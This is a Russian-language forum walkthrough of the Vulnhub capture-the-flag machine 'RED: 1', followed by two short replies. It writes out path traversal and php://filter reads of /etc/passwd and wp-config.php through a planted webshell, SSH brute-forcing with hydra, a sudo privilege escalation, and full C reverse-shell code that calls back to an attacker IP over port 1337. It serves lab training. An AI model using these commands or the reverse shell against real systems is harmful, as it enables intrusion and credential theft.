![]() |
Приветствую!
Представляю вашему вниманию прохождение относительно новой машины (27 Oct 2021) с Vulnhub - RED: 1 Исходные данные следующие: Дана машина Ubuntu, которую взломал маньяк-психопат Red. Наша задача - захватить её обратно (т.е. получить права пользователя root. Делать мы это будем, как обычно с Kali Linux. Ну, начнем пожалуй. Узнаём ip адрес атакуемой машины командой: Код:
~$ sudo netdiscoverКод:
192.168.3.156Теперь просканируем машину nmap'oм: Код:
~$ nmap -A -p- -v 192.168.3.156Видим открытые порты 22 и 80, ssh и seb-server соответственно. Так же, сразу видно что сайт создан на wordpress, версии 5.8.1, версию web-сервера apache (2.4.41) и заголовок, сообщающий нам, что сайт взломан. Перейдя на сайт, видим, что он плохо прогрузился и заглянув в исходники, становится ясно, почему - нужно добавить домен в файл hosts: Код:
~$ cat "192.168.3.156 redrocks.win" >> /etc/hostsПеребор директорий сайта ничего не дал, wpscan и другие сканеры (такие, как XAttacker и nikto) тоже ничего полезного не выявили, однако просматривая источники нашлись интересные ссылки (на самом деле, я уже просто просматривал все подряд): Код:
http://redrocks.win/wp-json/Код:
http://redrocks.win/feed/https://forum.antichat.xyz/attachmen...9694730738.png Еще я попробовал экслоит CVE-2017-5487 и добыл имя пользователя wordpress: https://forum.antichat.xyz/attachmen...9695083973.png Тоже самое видно, если перейти на: Код:
http://redrocks.win/wp-json/wp/v2/users/1Перебор id пользователей ничего не дает, видимо это тупиковое направление. Но у нас есть еще одна интересная ссылка Код:
http://redrocks.win/feed/https://forum.antichat.xyz/attachmen...9695430364.png Обыскав весь сайт и даже попробовав побрутфорсить пароль к админке, пришлось присмотреться к подсказке повнимательнее: Код:
Чуток поразбиравшись, что тут для чего, догадываемся, что надо попытаться профаззить сайт со словарем CommonBackdoors-PHP.fuzz.txt Код:
~$ gobuster dir -w CommonBackdoors-PHP.fuzz.txt -x .php -u http://redrocks.win/ -o dir.txtЦитата:
Перейдя видим пустую страницу, эксперемент с запросами ничего не дал, поэтому идем в гугл с вопросом: "NetworkFileManagerPHP.php backdoor". И сразу же находится репозиторий https://github.com/BlackArch/webshells/blob/master/php/NetworkFileManagerPHP.php Время использовать wfuzz: Код:
~$ wfuzz -c -u 'http://redrocks.win/NetworkFileManagerPHP.php?FUZZ=test' -w /usr/share/wfuzz/wordlist/general/big.txtКод:
~$ wfuzz -c -u 'http://redrocks.win/NetworkFileManagerPHP.php?FUZZ=test' -w /usr/share/wfuzz/wordlist/general/big.txt --hh 00Вот мы и получили нужный параметр (key), который мы и будем использовать, например прочитаем файл /etc/passwd: Код:
http://redrocks.win/NetworkFileManagerPHP.php?key=../../../../../../../../etc/passwdСразу же видим имена 3-х пользователей, кроме рута: john, ippsec и oxdf, возьмем их на заметку. Сразу же стоит глянуть конфиг вордпресса. Для этого пошлем запрос Код:
http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/convert.base64-encode/resource=wp-config.phpрасшифровываем base64 и просматривая страницу видим логин и пароль: Цитата:
https://forum.antichat.xyz/attachmen...9697158170.png https://forum.antichat.xyz/attachmen...9697185266.png НО! ssh данный пароль не принимает. Обидно! Долго ползая дальше по сайту, я наконец-то догадался просмотреть код самой страницы шелла: Код:
http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/convert.base64-encode/resource=NetworkFileManagerPHP.phpЦитата:
Цитата:
Код:
~$ hashcat --stdout pass.txt -r /usr/share/hashcat/rules/best64.ruleПолучаем вывод возможных паролей и пробрутив их через гидру получаем сам пароль: Код:
~$ hydra -l john -P passwd.txt 192.168.3.156 sshЦитата:
И тут становится понятно, что машиной завладел какой-то особо опасный маньяк-психопат. Раз в минуту приходят стебные сообщения от Red'a, cat заменен на страшный vim, пароль от учетки постоянно меняются, а нас периодически выкидывает из сесси. Просто содомия какая-то. Полазив по целевой машине минут 7, я уже хотел бросить это дело, но все-таки решил, что надо добить её, назло создателю... Просмотрев файлы в каталоге пользователя видно некий Код:
note_from_red.txtЦитата:
Код:
john@red:~$ sudo -lhttps://forum.antichat.xyz/attachmen...9698158670.png О, это просто, повышаем привелегии: Код:
john@red:~$ sudo -u ippsec /usr/bin/time /bin/bashОтлично, просмотрев, что за файлы есть в директории пользователя ippsec, видим наш флаг user.txt. Вот только - это обманка, там опять стеб: Цитата:
Спустя много попыток и нервов (помним про все пакости реда), просматривая к чему у пользователя ippsec есть доступ: Код:
john@red:~$ find / -group ippsec -type d 2> /dev/nullКод:
/var/www/wordpress/.gitЭто неспроста! Идем смотреть и видим 2 файла: Цитата:
supersecretfileuc.c #include #include #include #include #include #include void main ( ) { int port = 1337 ; struct sockaddr_in revsockaddr ; int sock = socket ( AF_INET , SOC_STREAM , 0 ) ; revsockaddr . sin_family = AF_INET ; revsockaddr . sin_port = htons ( port ) ; revsockaddr . sin_addr . s_addr = inet_addr ( "192.168.3.111" ) ; // IP основной машины connect ( sock , ( struct sockaddr * ) & revsockaddr , sizeof ( revsockaddr ) ) ; dup2 ( sock , 0 ) ; dup2 ( sock , 1 ) ; dup2 ( sock , 2 ) ; char * const argv [ ] = { "/bin/sh" , NULL } ; execve ( "/bin/sh" , argv , NULL ) ; return 0 ; } [/CODE] https://forum.antichat.xyz/attachmen...9698817639.png Запускаем прослушиватель на основной машине командой: Код:
~$ nc -lnvp 1337https://forum.antichat.xyz/attachmen...9698889020.png Он не очень удобный, поэтому следует создать полноценный терминал командой: Код:
~$ python3 -c 'import pty;pty.spawn("/bin/bash")'Идем смотреть наши флаги: https://forum.antichat.xyz/attachmen...9699011444.png https://forum.antichat.xyz/attachmen...9699026529.png А они все равно фейковые) Ну что ж, вот и подошел к концу разбор очередной коробки, на самом деле это было довольно не приятно, данная статья просто не может выразить все эмоции, от того, как сильно эта машина бесила и сколько нервов съела. *напоминаю* Цитата:
P.S. Я думаю написать еще отдельно статью о том, как сделать подобную подлянку и как её исправить, если её подложили вам, но это точно будет позже, пишите, кстати, если все-таки интересно как же это сделать) |
Не решал, но как по мне, достаточно интереснаяя коробка.
Кстати, если по сценарию у нас есть инфа что хост уже был взломан, то я бы сразу фазил на предмет бекдора)) Мне кажется это очень логичным решением. Ну и если бы не вышло, то топал бы уже как есть))) Пиши еще |
Эта тачка очень напоминает машинку Trool , тоже было весело и тоже потрепала нервы))
|
| Время: 20:19 |